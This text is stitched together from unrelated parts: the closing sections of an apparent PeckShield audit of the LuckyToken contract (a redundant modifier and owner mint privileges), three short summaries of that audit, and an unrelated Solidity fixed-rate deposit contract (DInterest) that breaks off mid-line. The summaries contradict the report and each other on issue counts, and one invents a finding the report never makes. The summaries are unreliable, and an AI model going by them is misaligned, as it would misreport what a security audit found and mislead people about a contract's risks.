| Detailed Results 4.1 Redundant Code Removal •ID: PVE-001 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: LuckyToken •Category: Coding Practices [4] •CWE subcategory: CWE-563 [2] Description As an ERC20-compliant token contract, the LuckyToken contract provides the external mint()function for the privileged _owneraccount to mint more tokens into circulation. This function internally calls the low-level helper routine, i.e., _mint(), to mint the specified amount of Luckytoken for a specified account and also to limit the total token supply does not exceed the capvalue. While reviewing the implementation of this _mint()routine, we observe the presence of un- necessary redundancy that can be safely removed. Specifically, the onlyOwner modifier (line 53) is redundant since the _mint()routine is defined as an internal function. In current LuckyToken imple- mentation, this routine will only be called by the constructor and the external mint()function. Since theonlyOwner modifier is also applied to the external mint()function (line 45), we suggest to remove this redundant modifier for the _mint()routine. 45 function mint ( address _to , uint256 _amount ) external onlyOwner { 46 _mint (_to , _amount ); 47 } 48 49 /** 50 * @dev See {ERC20 - _mint }. 51 */ 52 /// @notice Creates ‘_amount ‘ token to ‘_to ‘. Must only be called by the owner ( MasterChef ). 53 function _mint ( address _to , uint256 _amount ) internal virtual onlyOwner override { 54 require ( ERC20 . totalSupply () + _amount <= cap () , " ERC20Capped : cap exceeded "); 55 super . _mint (_to , _amount ); 13/16 PeckShield Audit Report #: 2021-283Public 56 } Listing 4.1: LuckyToken::mint()/_mint() Recommendation Consider the removal of the redundant onlyOwner modifier for the internal _mintfunction. Status This issue has been confirmed. 4.2 Trust Issue Of Admin Roles •ID: PVE-002 •Severity: Medium •Likelihood: Medium •Impact:Medium•Target: LuckyToken •Category: Security Features [3] •CWE subcategory: CWE-287 [1] Description InLuckyToken , there is a privileged _ownerthat plays a critical role, i.e., minting additional tokens into circulation. In the following, we show the code snippet of the mint()function that is affected by the privileged account. 45 function mint ( address _to , uint256 _amount ) external onlyOwner { 46 _mint (_to , _amount ); 47 } Listing 4.2: LuckyToken::mint() We emphasize that the privilege assignment is necessary and consistent with the protocol design. At the same time the extra power to the owner may also be a counter-party risk to the token users. Therefore, we list this concern as an issue here from the audit perspective and highly recommend making these onlyOwner privileges explicit or raising necessary awareness among token users. Recommendation Make the list of extra privileges granted to _ownerexplicit to LuckyToken users. Status This issue has been confirmed. The team confirms that LuckyToken ’s ownership will be transferred to the Masterchef for LP farming. 14/16 PeckShield Audit Report #: 2021-283Public 5 | Conclusion In this security audit, we have examined the LuckyToken design and implementation. During our audit, we first checked all respects related to the compatibility of the BEP20 specification and other known BEP20 pitfalls/vulnerabilities and found no issue in these areas. We then proceeded to examine other areas such as coding practices and business logics. Overall, although no critical or high level vulnerabilities were discovered, we identified two medium/informational severity issues that were promptly confirmed and addressed by the team. Meanwhile, as disclaimed in Section 1.4, we appreciate any constructive feedbacks or suggestions about our findings, procedures, audit scope, etc. 15/16 PeckShield Audit Report #: 2021-283Public References [1] MITRE. CWE-287: Improper Authentication. https://cwe.mitre.org/data/definitions/287.html. [2] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [3] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [4] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [5] OWASP. RiskRatingMethodology. https://www.owasp.org/index.php/OWASP_Risk_Rating_ Methodology. [6] PeckShield. PeckShield Inc. https://www.peckshield.com. 16/16 PeckShield Audit Report #: 2021-283
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 1 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unnecessary code in the contract (Lines 11-14) 2.b Fix (one line with code reference) - Remove unnecessary code (Lines 11-14) Moderate 3.a Problem (one line with code reference) - Lack of trust issue of admin roles (Lines 15-17) 3.b Fix (one line with code reference) - Add trust issue of admin roles (Lines 15-17) Major - None Critical - None Observations - The LuckyToken contract is well implemented and BEP20-compliant. - There are some minor and moderate issues that can be improved. Conclusion The LuckyToken contract is well implemented and BEP20-compliant. However, there are some minor and moderate issues that can be improved. We recommend that the client address these issues to ensure the security and performance of the contract. Issues Count of Minor/Moderate/Major/Critical: - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues: 2.a Problem: Lack of a function to check the total supply of tokens (OWASP A9) 2.b Fix: Add a function to check the total supply of tokens Observations: - No Moderate, Major, or Critical issues were found Conclusion: The audit of the LuckyToken smart contract revealed two minor issues, which have been addressed. No Moderate, Major, or Critical issues were found. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: No issues were found in the LuckyToken contract. Conclusion: The LuckyToken contract is secure and follows best practices.
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.3; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {SafeERC20} from "./libs/SafeERC20.sol"; import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import { AddressUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { MulticallUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; import {MoneyMarket} from "./moneymarkets/MoneyMarket.sol"; import {IFeeModel} from "./models/fee/IFeeModel.sol"; import {IInterestModel} from "./models/interest/IInterestModel.sol"; import {NFT} from "./tokens/NFT.sol"; import {FundingMultitoken} from "./tokens/FundingMultitoken.sol"; import {MPHMinter} from "./rewards/MPHMinter.sol"; import {IInterestOracle} from "./models/interest-oracle/IInterestOracle.sol"; import {DecMath} from "./libs/DecMath.sol"; import {Rescuable} from "./libs/Rescuable.sol"; import {Sponsorable} from "./libs/Sponsorable.sol"; import {console} from "hardhat/console.sol"; /** @title DeLorean Interest -- It's coming back from the future! @author Zefram Lou @notice The main pool contract for fixed-rate deposits @dev The contract to interact with for most actions */ contract DInterest is ReentrancyGuardUpgradeable, OwnableUpgradeable, Rescuable, MulticallUpgradeable, Sponsorable { using SafeERC20 for ERC20; using AddressUpgradeable for address; using DecMath for uint256; // Constants uint256 internal constant PRECISION = 10**18; /** @dev used for sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex */ uint256 internal constant EXTRA_PRECISION = 10**27; /** @dev used for funding.principalPerToken */ uint256 internal constant ULTRA_PRECISION = 2**128; /** @dev Specifies the threshold for paying out funder interests */ uint256 internal constant FUNDER_PAYOUT_THRESHOLD_DIVISOR = 10**10; // User deposit data // Each deposit has an ID used in the depositNFT, which is equal to its index in `deposits` plus 1 struct Deposit { uint256 virtualTokenTotalSupply; // depositAmount + interestAmount, behaves like a zero coupon bond uint256 interestRate; // interestAmount = interestRate * depositAmount uint256 feeRate; // feeAmount = feeRate * depositAmount uint256 averageRecordedIncomeIndex; // Average income index at time of deposit, used for computing deposit surplus uint64 maturationTimestamp; // Unix timestamp after which the deposit may be withdrawn, in seconds uint64 fundingID; // The ID of the associated Funding struct. 0 if not funded. } Deposit[] internal deposits; // Funding data // Each funding has an ID used in the fundingMultitoken, which is equal to its index in `fundingList` plus 1 struct Funding { uint64 depositID; // The ID of the associated Deposit struct. uint64 lastInterestPayoutTimestamp; // Unix timestamp of the most recent interest payout, in seconds uint256 recordedMoneyMarketIncomeIndex; // the income index at the last update (creation or withdrawal) uint256 principalPerToken; // The amount of stablecoins that's earning interest for you per funding token you own. Scaled to 18 decimals regardless of stablecoin decimals. } Funding[] internal fundingList; // the sum of (recordedFundedPrincipalAmount / recordedMoneyMarketIncomeIndex) of all fundings uint256 public sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex; // Params /** @dev Maximum deposit period, in seconds */ uint64 public MaxDepositPeriod; /** @dev Minimum deposit amount, in stablecoins */ uint256 public MinDepositAmount; // Global variables uint256 public totalDeposit; uint256 public totalInterestOwed; uint256 public totalFeeOwed; uint256 public totalFundedPrincipalAmount; // External smart contracts MoneyMarket public moneyMarket; ERC20 public stablecoin; IFeeModel public feeModel; IInterestModel public interestModel; IInterestOracle public interestOracle; NFT public depositNFT; FundingMultitoken public fundingMultitoken; MPHMinter public mphMinter; // Extra params /** @dev The maximum amount of deposit in the pool. Set to 0 to disable the cap. */ uint256 public GlobalDepositCap; // Events event EDeposit( address indexed sender, uint256 indexed depositID, uint256 depositAmount, uint256 interestAmount, uint256 feeAmount, uint64 maturationTimestamp ); event ETopupDeposit( address indexed sender, uint64 indexed depositID, uint256 depositAmount, uint256 interestAmount, uint256 feeAmount ); event ERolloverDeposit( address indexed sender, uint64 indexed depositID, uint64 indexed newDepositID ); event EWithdraw( address indexed sender, uint256 indexed depositID, bool indexed early, uint256 virtualTokenAmount, uint256 feeAmount ); event EFund( address indexed sender, uint64 indexed fundingID, uint256 fundAmount, uint256 tokenAmount ); event EPayFundingInterest( uint256 indexed fundingID, uint256 interestAmount, uint256 refundAmount ); event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); event ESetParamUint( address indexed sender, string indexed paramName, uint256 newValue ); function __DInterest_init( uint64 _MaxDepositPeriod, uint256 _MinDepositAmount, address _moneyMarket, address _stablecoin, address _feeModel, address _interestModel, address _interestOracle, address _depositNFT, address _fundingMultitoken, address _mphMinter ) internal initializer { __ReentrancyGuard_init(); __Ownable_init(); moneyMarket = MoneyMarket(_moneyMarket); stablecoin = ERC20(_stablecoin); feeModel = IFeeModel(_feeModel); interestModel = IInterestModel(_interestModel); interestOracle = IInterestOracle(_interestOracle); depositNFT = NFT(_depositNFT); fundingMultitoken = FundingMultitoken(_fundingMultitoken); mphMinter = MPHMinter(_mphMinter); MaxDepositPeriod = _MaxDepositPeriod; MinDepositAmount = _MinDepositAmount; } /** @param _MaxDepositPeriod The maximum deposit period, in seconds @param _MinDepositAmount The minimum deposit amount, in stablecoins @param _moneyMarket Address of MoneyMarket that's used for generating interest (owner must be set to this DInterest contract) @param _stablecoin Address of the stablecoin used to store funds @param _feeModel Address of the FeeModel contract that determines how fees are charged @param _interestModel Address of the InterestModel contract that determines how much interest to offer @param _interestOracle Address of the InterestOracle contract that provides the average interest rate @param _depositNFT Address of the NFT representing ownership of deposits (owner must be set to this DInterest contract) @param _fundingMultitoken Address of the ERC1155 multitoken representing ownership of fundings (this DInterest contract must have the minter-burner role) @param _mphMinter Address of the contract for handling minting MPH to users */ function initialize( uint64 _MaxDepositPeriod, uint256 _MinDepositAmount, address _moneyMarket, address _stablecoin, address _feeModel, address _interestModel, address _interestOracle, address _depositNFT, address _fundingMultitoken, address _mphMinter ) external virtual initializer { __DInterest_init( _MaxDepositPeriod, _MinDepositAmount, _moneyMarket, _stablecoin, _feeModel, _interestModel, _interestOracle, _depositNFT, _fundingMultitoken, _mphMinter ); } /** Public action functions */ /** @notice Create a deposit using `depositAmount` stablecoin that matures at timestamp `maturationTimestamp`. @dev The ERC-721 NFT representing deposit ownership is given to msg.sender @param depositAmount The amount of deposit, in stablecoin @param maturationTimestamp The Unix timestamp of maturation, in seconds @return depositID The ID of the created deposit @return interestAmount The amount of fixed-rate interest */ function deposit(uint256 depositAmount, uint64 maturationTimestamp) external nonReentrant returns (uint64 depositID, uint256 interestAmount) { return _deposit(msg.sender, depositAmount, maturationTimestamp, false); } /** @notice Add `depositAmount` stablecoin to the existing deposit with ID `depositID`. @dev The interest rate for the topped up funds will be the current oracle rate. @param depositID The deposit to top up @param depositAmount The amount to top up, in stablecoin @return interestAmount The amount of interest that will be earned by the topped up funds at maturation */ function topupDeposit(uint64 depositID, uint256 depositAmount) external nonReentrant returns (uint256 interestAmount) { return _topupDeposit(msg.sender, depositID, depositAmount); } /** @notice Withdraw all funds from deposit with ID `depositID` and use them to create a new deposit that matures at time `maturationTimestamp` @param depositID The deposit to roll over @param maturationTimestamp The Unix timestamp of the new deposit, in seconds @return newDepositID The ID of the new deposit */ function rolloverDeposit(uint64 depositID, uint64 maturationTimestamp) external nonReentrant returns (uint256 newDepositID, uint256 interestAmount) { return _rolloverDeposit(msg.sender, depositID, maturationTimestamp); } /** @notice Withdraws funds from the deposit with ID `depositID`. @dev Virtual tokens behave like zero coupon bonds, after maturation withdrawing 1 virtual token yields 1 stablecoin. The total supply is given by deposit.virtualTokenTotalSupply @param depositID the deposit to withdraw from @param virtualTokenAmount the amount of virtual tokens to withdraw @param early True if intend to withdraw before maturation, false otherwise @return withdrawnStablecoinAmount the amount of stablecoins withdrawn */ function withdraw( uint64 depositID, uint256 virtualTokenAmount, bool early ) external nonReentrant returns (uint256 withdrawnStablecoinAmount) { return _withdraw(msg.sender, depositID, virtualTokenAmount, early, false); } /** @notice Funds the fixed-rate interest of the deposit with ID `depositID`. In exchange, the funder receives the future floating-rate interest generated by the portion of the deposit whose interest was funded. @dev The sender receives ERC-1155 multitokens (fundingMultitoken) representing their floating-rate bonds. @param depositID The deposit whose fixed-rate interest will be funded @param fundAmount The amount of fixed-rate interest to fund. If it exceeds surplusOfDeposit(depositID), it will be set to the surplus value instead. @param fundingID The ID of the fundingMultitoken the sender received */ function fund(uint64 depositID, uint256 fundAmount) external nonReentrant returns (uint64 fundingID) { return _fund(msg.sender, depositID, fundAmount); } /** @notice Distributes the floating-rate interest accrued by a deposit to the floating-rate bond holders. @param fundingID The ID of the floating-rate bond @return interestAmount The amount of interest distributed, in stablecoins */ function payInterestToFunders(uint64 fundingID) external nonReentrant returns (uint256 interestAmount) { return _payInterestToFunders(fundingID, moneyMarket.incomeIndex()); } /** Sponsored action functions */ function sponsoredDeposit( uint256 depositAmount, uint64 maturationTimestamp, Sponsorship calldata sponsorship ) external nonReentrant sponsored( sponsorship, this.sponsoredDeposit.selector, abi.encode(depositAmount, maturationTimestamp) ) returns (uint64 depositID, uint256 interestAmount) { return _deposit( sponsorship.sender, depositAmount, maturationTimestamp, false ); } function sponsoredTopupDeposit( uint64 depositID, uint256 depositAmount, Sponsorship calldata sponsorship ) external nonReentrant sponsored( sponsorship, this.sponsoredTopupDeposit.selector, abi.encode(depositID, depositAmount) ) returns (uint256 interestAmount) { return _topupDeposit(sponsorship.sender, depositID, depositAmount); } function sponsoredRolloverDeposit( uint64 depositID, uint64 maturationTimestamp, Sponsorship calldata sponsorship ) external nonReentrant sponsored( sponsorship, this.sponsoredRolloverDeposit.selector, abi.encode(depositID, maturationTimestamp) ) returns (uint256 newDepositID, uint256 interestAmount) { return _rolloverDeposit( sponsorship.sender, depositID, maturationTimestamp ); } function sponsoredWithdraw( uint64 depositID, uint256 virtualTokenAmount, bool early, Sponsorship calldata sponsorship ) external nonReentrant sponsored( sponsorship, this.sponsoredWithdraw.selector, abi.encode(depositID, virtualTokenAmount, early) ) returns (uint256 withdrawnStablecoinAmount) { return _withdraw( sponsorship.sender, depositID, virtualTokenAmount, early, false ); } function sponsoredFund( uint64 depositID, uint256 fundAmount, Sponsorship calldata sponsorship ) external nonReentrant sponsored( sponsorship, this.sponsoredFund.selector, abi.encode(depositID, fundAmount) ) returns (uint64 fundingID) { return _fund(sponsorship.sender, depositID, fundAmount); } /** Public getter functions */ /** @notice Computes the amount of fixed-rate interest (before fees) that will be given to a deposit of `depositAmount` stablecoins that matures in `depositPeriodInSeconds` seconds. @param depositAmount The deposit amount, in stablecoins @param depositPeriodInSeconds The deposit period, in seconds @return interestAmount The amount of fixed-rate interest (before fees) */ function calculateInterestAmount( uint256 depositAmount, uint256 depositPeriodInSeconds ) public virtual returns (uint256 interestAmount) { (, uint256 moneyMarketInterestRatePerSecond) = interestOracle.updateAndQuery(); (bool surplusIsNegative, uint256 surplusAmount) = surplus(); return interestModel.calculateInterestAmount( depositAmount, depositPeriodInSeconds, moneyMarketInterestRatePerSecond, surplusIsNegative, surplusAmount ); } /** @notice Computes the pool's overall surplus, which is the value of its holdings in the `moneyMarket` minus the amount owed to depositors, funders, and the fee beneficiary. @return isNegative True if the surplus is negative, false otherwise @return surplusAmount The absolute value of the surplus, in stablecoins */ function surplus() public virtual returns (bool isNegative, uint256 surplusAmount) { return _surplus(moneyMarket.incomeIndex()); } /** @notice Computes the raw surplus of a deposit, which is the current value of the deposit in the money market minus the amount owed (deposit + interest + fee). The deposit's funding status is not considered here, meaning even if a deposit's fixed-rate interest is fully funded, it likely will still have a non-zero surplus. @param depositID The ID of the deposit @return isNegative True if the surplus is negative, false otherwise @return surplusAmount The absolute value of the surplus, in stablecoins */ function rawSurplusOfDeposit(uint64 depositID) public virtual returns (bool isNegative, uint256 surplusAmount) { return _rawSurplusOfDeposit(depositID, moneyMarket.incomeIndex()); } /** @notice Returns the total number of deposits. @return deposits.length */ function depositsLength() external view returns (uint256) { return deposits.length; } /** @notice Returns the total number of floating-rate bonds. @return fundingList.length */ function fundingListLength() external view returns (uint256) { return fundingList.length; } /** @notice Returns the Deposit struct associated with the deposit with ID `depositID`. @param depositID The ID of the deposit @return The deposit struct */ function getDeposit(uint64 depositID) external view returns (Deposit memory) { return deposits[depositID - 1]; } /** @notice Returns the Funding struct associated with the floating-rate bond with ID `fundingID`. @param fundingID The ID of the floating-rate bond @return The Funding struct */ function getFunding(uint64 fundingID) external view returns (Funding memory) { return fundingList[fundingID - 1]; } /** Internal action functions */ /** @dev See {deposit} */ function _deposit( address sender, uint256 depositAmount, uint64 maturationTimestamp, bool rollover ) internal virtual returns (uint64 depositID, uint256 interestAmount) { (depositID, interestAmount) = _depositRecordData( sender, depositAmount, maturationTimestamp ); _depositTransferFunds(sender, depositAmount, rollover); } function _depositRecordData( address sender, uint256 depositAmount, uint64 maturationTimestamp ) internal virtual returns (uint64 depositID, uint256 interestAmount) { // Ensure input is valid require(depositAmount >= MinDepositAmount, "BAD_AMOUNT"); uint256 depositPeriod = maturationTimestamp - block.timestamp; require(depositPeriod <= MaxDepositPeriod, "BAD_TIME"); // Calculate interest interestAmount = calculateInterestAmount(depositAmount, depositPeriod); require(interestAmount > 0, "BAD_INTEREST"); // Calculate fee uint256 feeAmount = feeModel.getInterestFeeAmount(address(this), interestAmount); interestAmount -= feeAmount; // Record deposit data deposits.push( Deposit({ virtualTokenTotalSupply: depositAmount + interestAmount, interestRate: interestAmount.decdiv(depositAmount), feeRate: feeAmount.decdiv(depositAmount), maturationTimestamp: maturationTimestamp, fundingID: 0, averageRecordedIncomeIndex: moneyMarket.incomeIndex() }) ); require(deposits.length <= type(uint64).max, "OVERFLOW"); depositID = uint64(deposits.length); // Update global values totalDeposit += depositAmount; { uint256 depositCap = GlobalDepositCap; require(depositCap == 0 || totalDeposit <= depositCap, "CAP"); } totalInterestOwed += interestAmount; totalFeeOwed += feeAmount; // Mint depositNFT depositNFT.mint(sender, depositID); // Emit event emit EDeposit( sender, depositID, depositAmount, interestAmount, feeAmount, maturationTimestamp ); // Vest MPH to sender mphMinter.createVestForDeposit(sender, depositID); } function _depositTransferFunds( address sender, uint256 depositAmount, bool rollover ) internal virtual { // Only transfer funds from sender if it's not a rollover // because if it is the funds are already in the contract if (!rollover) { // Transfer `depositAmount` stablecoin to DInterest stablecoin.safeTransferFrom(sender, address(this), depositAmount); // Lend `depositAmount` stablecoin to money market stablecoin.safeApprove(address(moneyMarket), depositAmount); moneyMarket.deposit(depositAmount); } } /** @dev See {topupDeposit} */ function _topupDeposit( address sender, uint64 depositID, uint256 depositAmount ) internal virtual returns (uint256 interestAmount) { interestAmount = _topupDepositRecordData( sender, depositID, depositAmount ); _topupDepositTransferFunds(sender, depositAmount); } function _topupDepositRecordData( address sender, uint64 depositID, uint256 depositAmount ) internal virtual returns (uint256 interestAmount) { Deposit storage depositEntry = _getDeposit(depositID); require(depositNFT.ownerOf(depositID) == sender, "NOT_OWNER"); // underflow check prevents topups after maturation uint256 depositPeriod = depositEntry.maturationTimestamp - block.timestamp; // Calculate interest interestAmount = calculateInterestAmount(depositAmount, depositPeriod); require(interestAmount > 0, "BAD_INTEREST"); // Calculate fee uint256 feeAmount = feeModel.getInterestFeeAmount(address(this), interestAmount); interestAmount -= feeAmount; // Update deposit struct uint256 interestRate = depositEntry.interestRate; uint256 currentDepositAmount = depositEntry.virtualTokenTotalSupply.decdiv( interestRate + PRECISION ); depositEntry.virtualTokenTotalSupply += depositAmount + interestAmount; depositEntry.interestRate = (PRECISION * interestAmount + currentDepositAmount * interestRate) / (depositAmount + currentDepositAmount); depositEntry.feeRate = (PRECISION * feeAmount + currentDepositAmount * depositEntry.feeRate) / (depositAmount + currentDepositAmount); uint256 sumOfRecordedDepositAmountDivRecordedIncomeIndex = (currentDepositAmount * EXTRA_PRECISION) / depositEntry.averageRecordedIncomeIndex + (depositAmount * EXTRA_PRECISION) / moneyMarket.incomeIndex(); depositEntry.averageRecordedIncomeIndex = ((depositAmount + currentDepositAmount) * EXTRA_PRECISION) / sumOfRecordedDepositAmountDivRecordedIncomeIndex; // Update global values totalDeposit += depositAmount; { uint256 depositCap = GlobalDepositCap; require(depositCap == 0 || totalDeposit <= depositCap, "CAP"); } totalInterestOwed += interestAmount; totalFeeOwed += feeAmount; // Emit event emit ETopupDeposit( sender, depositID, depositAmount, interestAmount, feeAmount ); // Update vest mphMinter.updateVestForDeposit( depositID, currentDepositAmount, depositAmount ); } function _topupDepositTransferFunds(address sender, uint256 depositAmount) internal virtual { // Transfer `depositAmount` stablecoin to DInterest stablecoin.safeTransferFrom(sender, address(this), depositAmount); // Lend `depositAmount` stablecoin to money market stablecoin.safeApprove(address(moneyMarket), depositAmount); moneyMarket.deposit(depositAmount); } /** @dev See {rolloverDeposit} */ function _rolloverDeposit( address sender, uint64 depositID, uint64 maturationTimestamp ) internal virtual returns (uint64 newDepositID, uint256 interestAmount) { // withdraw from existing deposit uint256 withdrawnStablecoinAmount = _withdraw(sender, depositID, type(uint256).max, false, true); // deposit funds into a new deposit (newDepositID, interestAmount) = _deposit( sender, withdrawnStablecoinAmount, maturationTimestamp, true ); emit ERolloverDeposit(sender, depositID, newDepositID); } /** @dev See {withdraw} @param rollover True if being called from {_rolloverDeposit}, false otherwise */ function _withdraw( address sender, uint64 depositID, uint256 virtualTokenAmount, bool early, bool rollover ) internal virtual returns (uint256 withdrawnStablecoinAmount) { ( uint256 withdrawAmount, uint256 feeAmount, uint256 fundingInterestAmount, uint256 refundAmount ) = _withdrawRecordData(sender, depositID, virtualTokenAmount, early); return _withdrawTransferFunds( sender, _getDeposit(depositID).fundingID, withdrawAmount, feeAmount, fundingInterestAmount, refundAmount, rollover ); } function _withdrawRecordData( address sender, uint64 depositID, uint256 virtualTokenAmount, bool early ) internal virtual returns ( uint256 withdrawAmount, uint256 feeAmount, uint256 fundingInterestAmount, uint256 refundAmount ) { // Verify input require(virtualTokenAmount > 0, "BAD_AMOUNT"); Deposit storage depositEntry = _getDeposit(depositID); if (early) { require( block.timestamp < depositEntry.maturationTimestamp, "MATURE" ); } else { require( block.timestamp >= depositEntry.maturationTimestamp, "IMMATURE" ); } require(depositNFT.ownerOf(depositID) == sender, "NOT_OWNER"); // Check if withdrawing all funds { uint256 virtualTokenTotalSupply = depositEntry.virtualTokenTotalSupply; if (virtualTokenAmount > virtualTokenTotalSupply) { virtualTokenAmount = virtualTokenTotalSupply; } } // Compute token amounts uint256 interestRate = depositEntry.interestRate; uint256 feeRate = depositEntry.feeRate; uint256 depositAmount = virtualTokenAmount.decdiv(interestRate + PRECISION); { uint256 interestAmount = early ? 0 : virtualTokenAmount - depositAmount; withdrawAmount = depositAmount + interestAmount; } if (early) { // apply fee to withdrawAmount uint256 earlyWithdrawFee = feeModel.getEarlyWithdrawFeeAmount( address(this), depositID, withdrawAmount ); feeAmount = earlyWithdrawFee; withdrawAmount -= earlyWithdrawFee; } else { feeAmount = depositAmount.decmul(feeRate); } // Update global values totalDeposit -= depositAmount; totalInterestOwed -= virtualTokenAmount - depositAmount; totalFeeOwed -= depositAmount.decmul(feeRate); // If deposit was funded, compute funding interest payout uint64 fundingID = depositEntry.fundingID; if (fundingID > 0) { Funding storage funding = _getFunding(fundingID); // Compute funded deposit amount before withdrawal uint256 recordedFundedPrincipalAmount = (fundingMultitoken.totalSupply(fundingID) * funding.principalPerToken) / ULTRA_PRECISION; // Shrink funding principal per token value { uint256 totalPrincipal = _depositVirtualTokenToPrincipal( depositID, depositEntry.virtualTokenTotalSupply ); uint256 totalPrincipalDecrease = virtualTokenAmount + depositAmount.decmul(feeRate); if ( totalPrincipal <= totalPrincipalDecrease + recordedFundedPrincipalAmount ) { // Not enough unfunded principal, need to decrease funding principal per token value funding.principalPerToken = (totalPrincipal >= totalPrincipalDecrease) ? (funding.principalPerToken * (totalPrincipal - totalPrincipalDecrease)) / recordedFundedPrincipalAmount : 0; } } // Compute interest payout + refund // and update relevant state ( fundingInterestAmount, refundAmount ) = _computeAndUpdateFundingInterestAfterWithdraw( fundingID, recordedFundedPrincipalAmount, early ); } // Update vest { uint256 depositAmountBeforeWithdrawal = _getDeposit(depositID).virtualTokenTotalSupply.decdiv( interestRate + PRECISION ); mphMinter.updateVestForDeposit( depositID, depositAmountBeforeWithdrawal, 0 ); } // Burn `virtualTokenAmount` deposit virtual tokens _getDeposit(depositID).virtualTokenTotalSupply -= virtualTokenAmount; // Emit event emit EWithdraw(sender, depositID, early, virtualTokenAmount, feeAmount); } function _withdrawTransferFunds( address sender, uint64 fundingID, uint256 withdrawAmount, uint256 feeAmount, uint256 fundingInterestAmount, uint256 refundAmount, bool rollover ) internal virtual returns (uint256 withdrawnStablecoinAmount) { // Withdraw funds from money market // Withdraws principal together with funding interest to save gas if (rollover) { // Rollover mode, don't withdraw `withdrawAmount` from moneyMarket // We do this because feePlusFundingInterest might // be slightly less due to rounding uint256 feePlusFundingInterest = moneyMarket.withdraw(feeAmount + fundingInterestAmount); if (feePlusFundingInterest >= feeAmount + fundingInterestAmount) { // enough to pay everything, if there's extra give to feeAmount feeAmount = feePlusFundingInterest - fundingInterestAmount; } else if (feePlusFundingInterest >= feeAmount) { // enough to pay fee, give remainder to fundingInterestAmount fundingInterestAmount = feePlusFundingInterest - feeAmount; } else { // not enough to pay fee, give everything to fee feeAmount = feePlusFundingInterest; fundingInterestAmount = 0; } // we're keeping the withdrawal amount in the money market withdrawnStablecoinAmount = withdrawAmount; } else { uint256 actualWithdrawnAmount = moneyMarket.withdraw( withdrawAmount + feeAmount + fundingInterestAmount ); // We do this because `actualWithdrawnAmount` might // be slightly less due to rounding withdrawnStablecoinAmount = withdrawAmount; if ( actualWithdrawnAmount >= withdrawAmount + feeAmount + fundingInterestAmount ) { // enough to pay everything, if there's extra give to feeAmount feeAmount = actualWithdrawnAmount - withdrawAmount - fundingInterestAmount; } else if (actualWithdrawnAmount >= withdrawAmount + feeAmount) { // enough to pay withdrawal + fee + remainder // give remainder to funding interest fundingInterestAmount = actualWithdrawnAmount - withdrawAmount - feeAmount; } else if (actualWithdrawnAmount >= withdrawAmount) { // enough to pay withdrawal + remainder // give remainder to fee feeAmount = actualWithdrawnAmount - withdrawAmount; fundingInterestAmount = 0; } else { // not enough to pay withdrawal // give everything to withdrawal withdrawnStablecoinAmount = actualWithdrawnAmount; feeAmount = 0; fundingInterestAmount = 0; } if (withdrawnStablecoinAmount > 0) { stablecoin.safeTransfer(sender, withdrawnStablecoinAmount); } } // Send `feeAmount` stablecoin to feeModel beneficiary if (feeAmount > 0) { stablecoin.safeTransfer(feeModel.beneficiary(), feeAmount); } // Distribute `fundingInterestAmount` stablecoins to funders if (fundingInterestAmount > 0) { stablecoin.safeApprove( address(fundingMultitoken), fundingInterestAmount ); fundingMultitoken.distributeDividends( fundingID, address(stablecoin), fundingInterestAmount ); // Mint funder rewards if (fundingInterestAmount > refundAmount) { _distributeFundingRewards( fundingID, fundingInterestAmount - refundAmount ); } } } /** @dev See {fund} */ function _fund( address sender, uint64 depositID, uint256 fundAmount ) internal virtual returns (uint64 fundingID) { uint256 actualFundAmount; (fundingID, actualFundAmount) = _fundRecordData( sender, depositID, fundAmount ); _fundTransferFunds(sender, actualFundAmount); } function _fundRecordData( address sender, uint64 depositID, uint256 fundAmount ) internal virtual returns (uint64 fundingID, uint256 actualFundAmount) { Deposit storage depositEntry = _getDeposit(depositID); uint256 incomeIndex = moneyMarket.incomeIndex(); (bool isNegative, uint256 surplusMagnitude) = _surplus(incomeIndex); require(isNegative, "NO_DEBT"); (isNegative, surplusMagnitude) = _rawSurplusOfDeposit( depositID, incomeIndex ); require(isNegative, "NO_DEBT"); if (fundAmount > surplusMagnitude) { fundAmount = surplusMagnitude; } // Create funding struct if one doesn't exist uint256 totalPrincipal = _depositVirtualTokenToPrincipal( depositID, depositEntry.virtualTokenTotalSupply ); uint256 totalPrincipalToFund; fundingID = depositEntry.fundingID; uint256 mintTokenAmount; if (fundingID == 0 || _getFunding(fundingID).principalPerToken == 0) { // The first funder, create struct require(block.timestamp <= type(uint64).max, "OVERFLOW"); fundingList.push( Funding({ depositID: depositID, lastInterestPayoutTimestamp: uint64(block.timestamp), recordedMoneyMarketIncomeIndex: incomeIndex, principalPerToken: ULTRA_PRECISION }) ); require(fundingList.length <= type(uint64).max, "OVERFLOW"); fundingID = uint64(fundingList.length); depositEntry.fundingID = fundingID; totalPrincipalToFund = (totalPrincipal * fundAmount) / surplusMagnitude; mintTokenAmount = totalPrincipalToFund; } else { // Not the first funder // Trigger interest payment for existing funders _payInterestToFunders(fundingID, incomeIndex); // Compute amount of principal to fund uint256 principalPerToken = _getFunding(fundingID).principalPerToken; uint256 unfundedPrincipalAmount = totalPrincipal - (fundingMultitoken.totalSupply(fundingID) * principalPerToken) / ULTRA_PRECISION; surplusMagnitude = (surplusMagnitude * unfundedPrincipalAmount) / totalPrincipal; if (fundAmount > surplusMagnitude) { fundAmount = surplusMagnitude; } totalPrincipalToFund = (unfundedPrincipalAmount * fundAmount) / surplusMagnitude; mintTokenAmount = 